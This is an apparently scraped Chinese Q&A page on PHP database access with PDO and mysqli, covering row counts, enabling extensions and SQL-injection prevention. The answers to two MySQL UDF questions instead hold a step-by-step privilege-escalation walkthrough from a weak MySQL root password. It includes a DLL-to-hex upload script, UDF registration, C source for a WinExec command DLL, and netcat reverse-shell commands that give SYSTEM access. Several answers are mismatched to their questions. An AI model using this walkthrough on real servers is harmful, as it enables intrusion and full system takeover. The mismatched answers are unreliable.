sq

阅读 / 问答 / 标签

PDO与mysqli怎样判断查询的结果集是否为空?

行数统计函数$conn = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbuser, $dbpass);$query = $conn->query($sql)if($query->rowCount()<1) //判断结果是否为空

php+mysql 请问:用pdo如何获取某个表中记录的数目?

$sql="selectcount(*)fromtb_root";$result=$pdo->query($sql);//提交sql$rowsNumber=$result->fetchColumn();//取回结果集中的一个字段echo$rowsNumber;query方法用来提交select语句,exec方法一般用于insert,update,delete等对于普通的查询,可以这样做$sql="select*fromtb_root";$result=$pdo->query($sql);$rows=$result->fetchAll(PDO:FETCH_ASSOC);//取得所有行$rowsNumber=count($rows);echo$rowsNumber;

PHP MYSQL PDO代码执行两次的错误

执行两次是什么情况?到底是那个字段插入了没?

PDO连接数据库和mysql_connect有什么具体区别? - 技术问答

PDO是PHP5新出来的东东,它是连接数据库的组件,听说以后php版本以PDO为默认连接,它可以适配多种数据库,mysql,mssql,oracle等,不像以前一种数据库有自己的连接方式和固定函数,它采取统一方式。那个快,现在我可以告诉你,mysql没测试过,但在mssql,oracle上测试过,PDO比传统要快将近10倍,特别是当web服务器与数据库不在同一计算机时,PDO显示的更快。这是我在单位老爷机上测试的。

php链接mysql的函数有哪些

常用的mysqli方法有以下几个mysqli_connect:连接认证mysqli_connect_error:连接失败的错误信息mysqli_close:关闭连接mysqli_errno:出现错误的编号mysqli_error:出现错误的信息mysqli_query:执行查询SQL指令mysqli_affected_rows:当前mysql操作受影响的行数(写操作)mysqli_num_rows:当前查询结果集中的行数mysqli_free_result:释放查询的结果集mysqli_fetch_row:从查询结果集中取出一条记录,返回一维数组(索引数组)mysqli_fetch_assoc:从查询结果集中取出一条记录,返回以为数组(关联数组:字段名作为下标)mysqli_fetch_all:从查询结果集中取出所有记录,返回二维数组PHP连接MySQL之原生MySQL函数总结一、配置连接数据库信息1.连接数据库mysql_connect($server, $username, $password)2.设置字符集 mysql_set_charset($charset)3.选择数据库mysql_select_db($database_name)二、向数据库发送并执行sql语句mysql_query($sql); sql语句执行失败则返回false,执行成功若有资源(执行查询等情况)的话返回资源,其余返回true。三、从返回的结果集中解析数据1.返回影响行数的mysql_num_rows($result) 取得结果集中行的数目mysql_affected_rows() 取得前一次操作所影响的记录行数mysql_insert_id(); 取得上一步插入操作产生的ID2.返回查询资源的(以下均是一次从结果集中取得一行记录)mysql_fetch_row() 数字索引mysql_fetch_assoc() 字段名索引mysql_fetch_array() 两者都有3.返回错误信息的mysql_error(); 文本错误信息mysql_errno(); 错误信息的数字编码四、关闭数据库连接mysql_close();PHP中的PDO函数库一、PDOPDO->beginTransaction() — 标明回滚起始点PDO->commit() — 标明回滚结束点,并执行SQLPDO->__construct() — 建立一个PDO链接数据库的实例PDO->errorCode() — 获取错误码PDO->errorInfo() — 获取错误的信息PDO->exec() — 处理一条SQL语句,并返回所影响的条目数PDO->getAttribute() — 获取一个“数据库连接对象”的属性PDO->getAvailableDrivers() — 获取有效的PDO驱动器名称PDO->lastInsertId() — 获取写入的最后一条数据的主键值PDO->prepare() — 生成一个“查询对象”PDO->query() — 处理一条SQL语句,并返回一个“PDOStatement”PDO->quote() — 为某个SQL中的字符串添加引号PDO->rollBack() — 执行回滚PDO->setAttribute() — 为一个“数据库连接对象”设定属性推荐教程:PHP视频教程

mysql,mysqli和PDO的区别

简单来说:PHP-MySQL 是 PHP 操作 MySQL 资料库最原始的 Extension PHP-MySQLi 的 i 代表 Improvement ,提更了相对进阶的功能,就 Extension 而言,本身也增加了安全性。PDO (PHP Data Object) 则是提供了一个 Abstraction Layer 来操作数据库。PHP-MySQLi操作db举例:<?php $mysqli = new mysqli($db_host, $db_user, $db_password, $db_name); $sql = "INSERT INTO `users` (id, name, gender, location) VALUES (?, ?, ?, ?)"; //构建插入的sql语句$stmt = $mysqli->prepare($sql); $stmt->bind_param("dsss", $source_id, $source_name, $source_gender, $source_location); //此处设置插入参数$stmt->execute(); //执行sql语句$stmt->bind_result($id, $name, $gender, $location); //获取结果并处理while ($stmt->fetch()) { echo $id . $name . $gender . $location; } $stmt->close(); $mysqli->close(); ?> PDO操作db举例:oga@carlisten-lx:~$ pecl search pdo //打开pdo======================================= Package Stable/(Latest) Local PDO 1.0.3 (stable) PHP Data Objects Interface. PDO_4D 0.3 (beta) PDO driver for 4D-SQL database PDO_DBLIB 1.0 (stable) FreeTDS/Sybase/MSSQL driver for PDO PDO_FIREBIRD 0.2 (beta) Firebird/InterBase 6 driver for PDO PDO_IBM 1.3.2 (stable) PDO driver for IBM databases PDO_INFORMIX 1.2.6 (stable) PDO driver for IBM Informix INFORMIX databases PDO_MYSQL 1.0.2 (stable) MySQL driver for PDO //加载驱动PDO_OCI 1.0 (stable) Oracle Call Interface driver for PDO PDO_ODBC 1.0.1 (stable) ODBC v3 Interface driver for PDO PDO_PGSQL 1.0.2 (stable) PostgreSQL driver for PDO PDO_SQLITE 1.0.1 (stable) SQLite v3 Interface driver for PDO pdo_user 0.3.0 (beta) Userspace driver for PDO

大家php开发使用mysqli还是pdo?

市面上都是用框架,用原生的太少了。你可以了解下thinkphp laravel 等这些市面上主流框架,框架内对数据库连接做了封装。很方便

php+mysql 请问:用pdo如何获取某个表中记录的数目?

$sql = "select * from tb_root";$res = $pdo->prepare($sql);//$res->exec();$res->execute();$num = $res->rowCount();

PHP的PDO能不能打印出上一条执行的sql语句

打印sql语句,直接在你执行SQL语句后输出$queries = DB::getQueryLog(); $a = end($queries); $tmp = str_replace("?", """."%s".""", $a["query"]); echo vsprintf($tmp, $a["bindings"]); exit;实例:<?phpRoute::get("/", function(){$arr["name"]="zhuo";$arr["email"]="zhuowenji@163.com";$uid = DB::table("basic")->insertGetId($arr);$queries = DB::getQueryLog();/*echo "<pre>";var_dump($queries);echo "</pre>";//以下为得到结果。laravel默认方式使用了pdo的形式执行对数据库操作array(1) {[0]=>array(3) {["query"]=>string(51) "insert into `basic` (`name`, `email`) values (?, ?)"["bindings"]=>array(2) {[0]=>string(4) "zhuo"[1]=>string(17) "zhuowenji@163.com"}["time"]=>float(2)}}*///===========================================================//转成源生的sql语句if($uid == false){$a = end($queries);$tmp = str_replace("?", """."%s".""", $a["query"]);echo vsprintf($tmp, $a["bindings"]);exit;//结果;insert into `basic` (`name`, `email`) values ("zhuo", "zhuowenji@163.com")}});?>

如何开启PDO,PDO_MYSQL扩展

开启这个功能的具体方法就是设置php.ini文件,步骤如下:1、查看public_html目录下没有php.ini文件,如果有的,打开文件查找extension=php_pdo_mysql.dllextension=php_pdo.dll把前面的分号去掉,然后保存文件。2、如果没有,就新建一个文件php.in把下面两行添加进去extension=pdo.soextension=pdo_mysql.so注意:php.ini文件需要放到相应的目录下,比如另外绑定的域名则需要将php.ini文件放到相应的子目录下。总体原则就是哪个目录需要就把php.ini文件放到那个目录下。如何开启PDO,PDO_MYSQL扩展标签:

如何在PHP下开启PDO MySQL的扩展

PDO扩展为PHP访问数据库定义了一个轻量级的、一致性的接口,它提供了一个数据访问抽象层,这样,无论使用什么数据库,都可以通过一致的函数执行查询和获取数据。在一些PHP管理系统需要开启PDO和PDO_MySQL扩展,方法很简单:1、找到php.ini文件2、打开后,搜索 extension=php_pdo.dll 和 extension=php_pdo_mysql.dll ,去掉前面“;”的注释。最终这两行配置内容如下:extension=php_pdo.dllextension=php_pdo_mysql.dll重新启动apache或者iis后,在phpinfo函数中查看,是否开启。

php该如何安装pdo_mysql扩展

php安装pdo_mysql扩展的方法:1、编译安装mysql扩展,生成mysql.so;2、编辑php.ini配置文件,添加mysql.so;3、编译安装pdo_mysql。安装方法:(推荐教程:php视频教程)1、安装php mysql扩展# cd /usr/local/php-5.3.28/ext/mysql/# phpize# ./configure --with-php-config=/usr/local/php/bin/php-config --with-mysql=/usr注意: --with-mysql=/usr 这个参数使用find命令寻找mysql客户端安装目录# find / -name mysql.h/usr/include/mysql/mysql.h这里只需要写--with-mysql=/usr编译安装,生成mysql.so#make#make install修改php.ini 配置文件,添加mysql.soextension=mysql.so重启apache2、安装pdo_mysql# cd /usr/local/php-5.3.28/ext/pdo_mysql/# phpize# ./configure --with-php-config=/usr/local/php/bin/php-config --with-pdo-mysql=/usr/local/mysql后面的两个参数必须要添加,一开始我没有添加,结果分别都提示找不到php-config和mysql的header文件。# ./configure _with-php-config=/usr/local/php/bin/php-config _with-pdo-mysql=/usr/local/mysql报错如下:说找不到 zlib目录 ,加上这句就好了 _with-pdo-mysql=/usr/local/mysql编译安装,生成mysql.so#make#make install修改php.ini 配置文件,添加mysql.soextension=mysql.so重启apache

pdo是使用mysql还是mysqli

php与mysql的连接有三种API接口,分别是:PHP的MySQL扩展 、PHP的mysqli扩展 、PHP数据对象(PDO) ,下面针对以上三种连接方式做下总结,以备在不同场景下选出最优方案。一、特性及对比PHP的MySQL扩展是设计开发允许PHP应用与MySQL数据库交互的早期扩展。mysql扩展提供了一个面向过程 的接口,并且是针对MySQL4.1.3或更早版本设计的。因此,这个扩展虽然可以与MySQL4.1.3或更新的数据库服务端 进行交互,但并不支持后期MySQL服务端提供的一些特性。由于太过古老,又不安全,所以已被后来的mysqli完全取代。PHP的mysqli扩展,我们有时称之为MySQL增强扩展,可以用于使用 MySQL4.1.3或更新版本中新的高级特性。其特点为:面向对象接口 、prepared语句支持、多语句执行支持、事务支持 、增强的调试能力、嵌入式服务支持 、预处理方式完全解决了sql注入的问题。不过其也有缺点, 就是只支持mysql数据库。如果你要是不操作其他的数据库,这无疑是最好的选择。PDO是PHP Data Objects的缩写,其是PHP应用中的一个数据库抽象层规范。PDO提供了一个统一的API接口可以使得你的PHP应用不去关心具体要 连接的数据库服务器系统类型。也就是说,如果你使用PDO的API,可以在任何需要的时候无缝切换数据库服务器,比如从oracle 到MySQL,仅仅需要修改很少的PHP代码。其功能类似于JDBC、ODBC、DBI之类接口。同样,其也解决了sql注入问题,有很好的安全性。不过他也有缺点,某些多语句执行查询不支持(不过该情况很少)。

php中防止SQL注入的最好方法是什么?

使用预备义语句和参数化查询。对于带有任何参数的sql语句都会被发送到数据库服务器,并被解析!对于攻击者想要恶意注入sql是不可能的! 实现这一目标基本上有两种选择: 1.使用PDO(PHP Data Objects ):$stmt = $pdo->prepare("SELECT * FROM employees WHERE name = :name"); $stmt->execute(array(":name" => $name)); foreach ($stmt as $row) { // do something with $row }2.使用mysqli:$stmt = $dbConnection->prepare("SELECT * FROM employees WHERE name = ?"); $stmt->bind_param("s", $name); $stmt->execute(); $result = $stmt->get_result(); while ($row = $result->fetch_assoc()) { // do something with $row }PDO(PHP数据对象) 注意当使用PDO访问MySQL数据库真正的预备义语句并不是默认使用的!为了解决这个问题,你必须禁用仿真准备好的语句。使用PDO创建连接的例子如下: $dbConnection = new PDO("mysql:dbname=dbtest;host=127.0.0.1;charset=utf8", "user", "pass"); $dbConnection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $dbConnection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);在上面例子中错误模式ERRMODE不是严格必须的,但是建议添加它。当运行出错产生致命错误时,这种方法脚本不会停止。并给开发人员捕捉任何错误的机会(当抛出PDOException异常时)。 setAttribute()那一行是强制性的,它告诉PDO禁用仿真预备义语句,使用真正的预备义语句。这可以确保语句和值在发送给MySQL数据库服务器前不被PHP解析(攻击者没有机会注入恶意的SQL). 当然你可以在构造函数选项中设置字符集参数,特别注意"老"的PHP版本(5.3.6)会在DSN中忽略掉字符集参数。 这里最重要的是,该参数值是和预编译的语句结合的,而不是和一个SQL字符串.SQL注入的工作原理是通过欺骗手段创建的SQL脚本包括恶意字符串发送到数据库.因此,通过发送实际的分开的sql参数,你会降低风险.使用准备好的语句时,你发送的任何参数,将只被视为字符串(虽然数据库引擎可能会做一些参数的优化,当然最终可能会为数字).在上面的例子中,如果变量$name包含"sarah";DELETE * FROM employees,结果只会是一个搜索的字符串""sarah";DELETE * FROM employees",你不会得到一个空表。 使用准备好的语句的另一个好处是,如果你在同一会话中多次执行相同的语句,这将只被解析和编译一次,给你一些的速度增长。

如何使用pdo执行多条sql语句

打印sql语句,直接在你执行SQL语句后输出$queries = DB::getQueryLog(); $a = end($queries); $tmp = str_replace("?", """."%s".""", $a["query"]); echo vsprintf($tmp, $a["bindings"]); exit;实例:<?phpRoute::get("/", function(){$arr["name"]="zhuo";$arr["email"]="zhuowenji@163.com";$uid = DB::table("basic")->insertGetId($arr);$queries = DB::getQueryLog();/*echo "<pre>";var_dump($queries);echo "</pre>";//以下为得到结果。laravel默认方式使用了pdo的形式执行对数据库操作array(1) {[0]=>array(3) {["query"]=>string(51) "insert into `basic` (`name`, `email`) values (?, ?)"["bindings"]=>array(2) {[0]=>string(4) "zhuo"[1]=>string(17) "zhuowenji@163.com"}["time"]=>float(2)}}*///===========================================================//转成源生的sql语句if($uid == false){$a = end($queries);$tmp = str_replace("?", """."%s".""", $a["query"]);echo vsprintf($tmp, $a["bindings"]);exit;//结果;insert into `basic` (`name`, `email`) values ("zhuo", "zhuowenji@163.com")}});?>

如何使用PDO查询mysql避免SQL注入的方法

使用传统的 mysql_connect 、mysql_query方法来连接查询数据库时,如果过滤不严紧,就有SQL注入风险。虽然可以用mysql_real_escape_string()函数过滤用户提交的值,但是也有缺陷。而使用PHP的PDO扩展的 prepare 方法,就可以避免sql injection 风险。PDO(PHP Data Object) 是PHP5新加入的一个重大功能,因为在PHP 5以前的php4/php3都是一堆的数据库扩展来跟各个数据库的连接和处理,如 php_mysql.dll。 PHP6中也将默认使用PDO的方式连接,mysql扩展将被作为辅助 。官方地址:http://php.com/manual/en/book.pdo.php1. PDO配置使用PDO扩展之前,先要启用这个扩展,php.ini中,去掉"extension=php_pdo.dll"前面的";"号,若要连接数据库,还需要去掉与PDO相关的数据库扩展前面的";"号(一般用的是php_pdo_mysql.dll),然后重启Apache服务器即可。extension=php_pdo.dll extension=php_pdo_mysql.dll2. PDO连接mysql数据库$dbh = new PDO("mysql:host=localhost;dbname=mydb","root","password");默认不是长连接,若要使用数据库长连接,可以在最后加如下参数:$dbh = new PDO("mysql:host=localhost;dbname=mydb","root","password","array(PDO::ATTR_PERSISTENT => true) "); $dbh = null; //(释放)3. PDO设置属性PDO有三种错误处理方式:PDO::ERrmODE_SILENT不显示错误信息,只设置错误码PDO::ERrmODE_WARNING显示警告错PDO::ERrmODE_EXCEPTION抛出异常可通过以下语句来设置错误处理方式为抛出异常$db->setAttribute(PDO::ATTR_ERrmODE, PDO::ERrmODE_EXCEPTION);因为不同数据库对返回的字段名称大小写处理不同,所以PDO提供了PDO::ATTR_CASE设置项(包括PDO::CASE_LOWER,PDO::CASE_NATURAL,PDO::CASE_UPPER),来确定返回的字段名称的大小写。通过设置PDO::ATTR_ORACLE_NULLS类型(包括PDO::NULL_NATURAL,PDO::NULL_EmpTY_STRING,PDO::NULL_TO_STRING)来指定数据库返回的NULL值在php中对应的数值。4. PDO常用方法及其应用PDO::query() 主要是用于有记录结果返回的操作,特别是SELECT操作PDO::exec() 主要是针对没有结果集合返回的操作,如INSERT、UPDATE等操作PDO::prepare() 主要是预处理操作,需要通过$rs->execute()来执行预处理里面的SQL语句,这个方法可以绑定参数,功能比较强大(防止sql注入就靠这个)PDO::lastInsertId() 返回上次插入操作,主键列类型是自增的最后的自增ID PDOStatement::fetch() 是用来获取一条记录PDOStatement::fetchAll() 是获取所有记录集到一个集合PDOStatement::fetchColumn() 是获取结果指定第一条记录的某个字段,缺省是第一个字段PDOStatement::rowCount() :主要是用于PDO::query()和PDO::prepare()进行DELETE、INSERT、UPDATE操作影响的结果集,对PDO::exec()方法和SELECT操作无效。5.PDO操作MYSQL数据库实例<?php $pdo = new PDO("mysql:host=localhost;dbname=mydb","root",""); if($pdo -> exec("insert into mytable(name,content) values("fdipzone","123456")")){ echo "insert success"; echo $pdo -> lastinsertid(); } ?><?php $pdo = new PDO("mysql:host=localhost;dbname=mydb","root",""); $rs = $pdo -> query("select * from table"); $rs->setFetchMode(PDO::FETCH_ASSOC); //关联数组形式//$rs->setFetchMode(PDO::FETCH_NUM); //数字索引数组形式while($row = $rs -> fetch()){ print_r($row); } ?><?phpforeach( $db->query( "SELECT * FROM table" ) as $row ){ print_r( $row );}?>统计有多少行数据:<?php$sql="select count(*) from table";$num = $dbh->query($sql)->fetchColumn();?>prepare方式:<?php$query = $dbh->prepare("select * from table");if ($query->execute()) { while ($row = $query->fetch()) { print_r($row); }}?>prepare参数化查询:<?php$query = $dbh->prepare("select * from table where id = ?");if ($query->execute(array(1000))) { while ($row = $query->fetch(PDO::FETCH_ASSOC)) { print_r($row); }}?>使用PDO访问MySQL数据库时,真正的real prepared statements 默认情况下是不使用的。为了解决这个问题,你必须禁用 prepared statements的仿真效果。下面是使用PDO创建链接的例子:<?php$dbh = new PDO("mysql:dbname=mydb;host=127.0.0.1;charset=utf8", "root", "pass");$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);?>setAttribute()这一行是强制性的,它会告诉 PDO 禁用模拟预处理语句,并使用 real parepared statements 。这可以确保SQL语句和相应的值在传递到mysql服务器之前是不会被PHP解析的(禁止了所有可能的恶意SQL注入攻击)。虽然你可以配置文件中设置字符集的属性(charset=utf8),但是需要格外注意的是,老版本的 PHP( < 5.3.6)在DSN中是忽略字符参数的。完整的代码使用实例:<?php$dbh = new PDO("mysql:host=localhost; dbname=mydb", "root", "pass");$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); //禁用prepared statements的仿真效果$dbh->exec("set names "utf8""); $sql="select * from table where username = ? and password = ?";$query = $dbh->prepare($sql); $exeres = $query->execute(array($username, $pass)); if ($exeres) { while ($row = $query->fetch(PDO::FETCH_ASSOC)) { print_r($row); }}$dbh = null;?>上面这段代码就可以防范sql注入。为什么呢?当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符 ? 发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,它们是分开传送的,两者独立的,SQL攻击者没有一点机会。但是我们需要注意的是以下几种情况,PDO并不能帮助你防范SQL注入。不能让占位符 ? 代替一组值,这样只会获取到这组数据的第一个值,如:select * from table where userid in ( ? );如果要用in_查找,可以改用find_in_set()实现$ids = "1,2,3,4,5,6";select * from table where find_in_set(userid, ?);不能让占位符代替数据表名或列名,如:select * from table order by ?;不能让占位符 ? 代替任何其他SQL语法,如:select extract( ? from addtime) as mytime from table;本篇文章如何使用PDO查询mysql避免SQL注入的方法,更多相关内容请关注Gxl网。

PHP7.2,PDO连接(远程)数据库(phppdo连接mysql)

把localhost改为有mysql的服务器地址,当然还需要端口、用户名、密码,也就是说是你可以访问的数据库服务器。

如何开启PDO,PDO_MYSQL扩展

开启这个功能的具体方法就是设置php.ini文件,步骤如下: 1、查看public_html目录下没有php.ini文件,如果有的, 打开文件查找 extension=php_pdo_mysql.dll extension=php_pdo.dll 把前面的分号去掉,然后保存文件。 2、如果没有,就新建一个文件php.in 把下面两行添加进去 extension=pdo.so extension=pdo_mysql.so 注意:php.ini文件需要放到相应的目录下,比如另外绑定的域名则需要将php.ini文件放到相应的子目录下。 总体原则就是哪个目录需要就把php.ini文件放到那个目录下。

mysql udf函数怎么调用

很早网上就有了用mysql弱口令得到webshell教程,但是这次我要说的不是得到webshell,而是直接得到系统权限,看清楚了,是“直接”得到! 首先,我简单说一下mysql弱口令得到系统权限得过程:首先利用mysql脚本上传udf dll文件,然后利用注册UDF DLL中自写的Function函数,而执行任意命令。 思路很简单,网上也有一些教程,但是他们要么没有给具体的代码,要么一句话代过,搞得象我似得小菜很难理解,终于在我付出了几天得不断测试得辛勤劳动后,有了点结果,我把详细过程和相关代码得交给大家,这样大家就可以自己写dll文件,自己生成不同文件得二进制码啦! 下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的方法): set @a = concat("",0x0123abc1312389…..); set @a = concat(@a,0x4658978abc545e……); …………………. create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob insert into Mix values("");update Mix set data = @a;//@a插入表Mix select data from Mix into DUMPFILE "C:\Winnt\文件名";//导出表中内容为文件 前两句很熟悉把,这个就是我们以前注入的时候,绕过"的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。 后面三句好说,但是前面的那么多16进制数据,手工的话,累人啊!不过你还记得以前有一个exe2bat.vbs脚本吗?这次我们可以把这个脚本修改一下后,得到我们这里需要得mysql脚本!对比exe2bat.vbs生成得文件和我们需要脚本的文件格式,我们可以轻松的得到我们所需的脚本。脚本内容如下: fp=wscript.arguments(0 fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true) .write "set @a = concat("",0x" for i=1 to sl bt=ascb(midb(str,i,1)) if bt<16 then .write "0" .write hex(bt) if i mod 128=0 then .write ");" vbcrlf "set @a = concat(@a,0x" next end with 好了,现在只要你把所要上传的文件拖到这个脚本图标上面,就可以生成一个同名的txt文件了。这个txt文件,就是我们所需要的mysql脚本,当然我们还需要修改一下这个txt文件(毕竟他是我们偷工减料得来的!),把最后一行生成的多余的那句“set @a = concat("",0x”删除了,加上建表,插值得那三句代码即可! 脚本生成了,如何上传?先登陆mysql服务器: C:>mysql –u root –h hostip –p Mysql>use mysql; //先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库 Mysql>. E:*.dll.txt; //这儿就是你生成的mysql脚本 按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了! 下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧! 先用mix.dll: 登陆mysql,输入命令: Mysql> . e:mix.dll.txt; Mysql> CREATE FUNCTION Mixconnect RETURNS STRING SONAME "C:\windows\mix.dll"; //这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令! Mysql> select Mixconnect("你的ip","8080"); //填写你的反弹ip和端口 过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1: 这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select Mixconnect("你的ip","8080");”的时候,对方的mysql会当掉!报错,然后服务停止! 所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。 再用my_udf.dll: Mysql>. C:my_udf.dll.txt Mysql> CREATE FUNCTION my_udfdoor RETURNS STRING SONAME "C:\winnt\my_udf.dll"; //同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数 Mysql> select my_udfdoor(""); //这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数 好了,现在你可以不用关这个shell了,我们再开一个cmd,使用: D:>nc hostip 3306 * 4.0.*-nt x$Eo~MCG f**k //看到这个后,输入“f**k” ,他是my_udfdoor默认密码,自己无法更改 过一会儿,你就有了系统权限的shell了, 由于他是hook recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select my_udfdoor("");”后),不管你是否连接,只要执行了: Mysql>drop function my_udfdoor; 后,mysql也汇报错,然后挂掉, 所以,你使用这个dll文件无法删除你的痕迹! 最后,然我们自己写一个自定义的dll文件。看能不能解决问题。 我们仅仅使用mysql 得udf的示例作模版即可!看他的示例: #include <stdlib.h> #include <winsock.h> #include <mysql.h> extern "C" { char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error); // 兼容C } char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { char * me = "my name"; return me; // 调用此UDF将返回 my name } 十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了: 下面是我的一个哥们Crackme是修改的: #include <stdlib.h> #include <windows.h> #include "mysql.h" extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改 __declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //当然这儿的sys_name也得改! { char me[256] = {0}; if (args->arg_count == 1){ strncpy(me,args->args[0],args->lengths[0]); me[args->lengths[0]]=""; WinExec(me,SW_HIDE); //就是用它来执行任意命令 }else strcpy(me,"do nonthing. "); return me; } 好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把! 看操作: Mysql>. C:sysudf.dll.txt Mysql>Create function sys_name returns string soname "C:\windows\sysudf.dll"; Mysql>. Nc.exe.txt //把nc.exe也上传上去 Mysql>select sys_name("nc.exe -e cmd.exe 我的ip 8080"); //sys_name参数只有一个,参数指定要执行的系统命令 好,看看在Win2003中的一个反弹shell了, 当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop function sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是最好的选择了。 上面三个dll文件可谓各有所短,如何选择,就看你遇到的实际情况了。 好了,从脚本得编写使用到dll文件编写使用,说了这么多,现在大家应该都会了吧?题目说的是弱口令得到系统权限,但是如果你在注入等其他过程中,爆出了config.php中的mysql密码,不也是可以使用的吗?这样我们岂不是也找到继Serv-u后又一大提权方法了吗?

我使用的是SQL server 2008 为什么不支持pivot

右键数据库,属性,选项卡看看兼容级别 右键数据库,属性,选项卡看看代码执行的数据库兼容级别 不是版本号

sqlserver中如何使用pivot,达到如下效果?急死小弟了!

要使用sum函数如果是你这样的字符串,应该是用转换NULL到"",然后用字符串拼接函数希望对你有帮助 http://wenku.baidu.com/link?url=ga06E6mVVxFw-4yBUU68jlJb28UefjTaGQGI0nkmHvg84aK5Vfu5KKvK5QOemgTh_gG1ZPr07uf5SHhjLDY-xeyRft1ifCLKHDwYDrWEoxS

如何查看mysql注册的udf

很早网上就有了用mysql弱口令得到webshell教程,但是这次我要说的不是得到webshell,而是直接得到系统权限,看清楚了,是“直接”得到! 首先,我简单说一下mysql弱口令得到系统权限得过程:首先利用mysql脚本上传udf dll文件,然后利用注册UDF DLL中自写的Function函数,而执行任意命令。 思路很简单,网上也有一些教程,但是他们要么没有给具体的代码,要么一句话代过,搞得象我似得小菜很难理解,终于在我付出了几天得不断测试得辛勤劳动后,有了点结果,我把详细过程和相关代码得交给大家,这样大家就可以自己写dll文件,自己生成不同文件得二进制码啦! 下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的方法): set @a = concat("",0x0123abc1312389…..); set @a = concat(@a,0x4658978abc545e……); …………………. create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob insert into Mix values("");update Mix set data = @a;//@a插入表Mix select data from Mix into DUMPFILE "C:\Winnt\文件名";//导出表中内容为文件 前两句很熟悉把,这个就是我们以前注入的时候,绕过"的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。 后面三句好说,但是前面的那么多16进制数据,手工的话,累人啊!不过你还记得以前有一个exe2bat.vbs脚本吗?这次我们可以把这个脚本修改一下后,得到我们这里需要得mysql脚本!对比exe2bat.vbs生成得文件和我们需要脚本的文件格式,我们可以轻松的得到我们所需的脚本。脚本内容如下: fp=wscript.arguments(0 fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true) .write "set @a = concat("",0x" for i=1 to sl bt=ascb(midb(str,i,1)) if bt<16 then .write "0" .write hex(bt) if i mod 128=0 then .write ");" vbcrlf "set @a = concat(@a,0x" next end with 好了,现在只要你把所要上传的文件拖到这个脚本图标上面,就可以生成一个同名的txt文件了。这个txt文件,就是我们所需要的mysql脚本,当然我们还需要修改一下这个txt文件(毕竟他是我们偷工减料得来的!),把最后一行生成的多余的那句“set @a = concat("",0x”删除了,加上建表,插值得那三句代码即可! 脚本生成了,如何上传?先登陆mysql服务器: C:>mysql –u root –h hostip –p Mysql>use mysql; //先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库 Mysql>. E:*.dll.txt; //这儿就是你生成的mysql脚本 按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了! 下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧! 先用mix.dll: 登陆mysql,输入命令: Mysql> . e:mix.dll.txt; Mysql> CREATE FUNCTION Mixconnect RETURNS STRING SONAME "C:\windows\mix.dll"; //这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令! Mysql> select Mixconnect("你的ip","8080"); //填写你的反弹ip和端口 过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1: 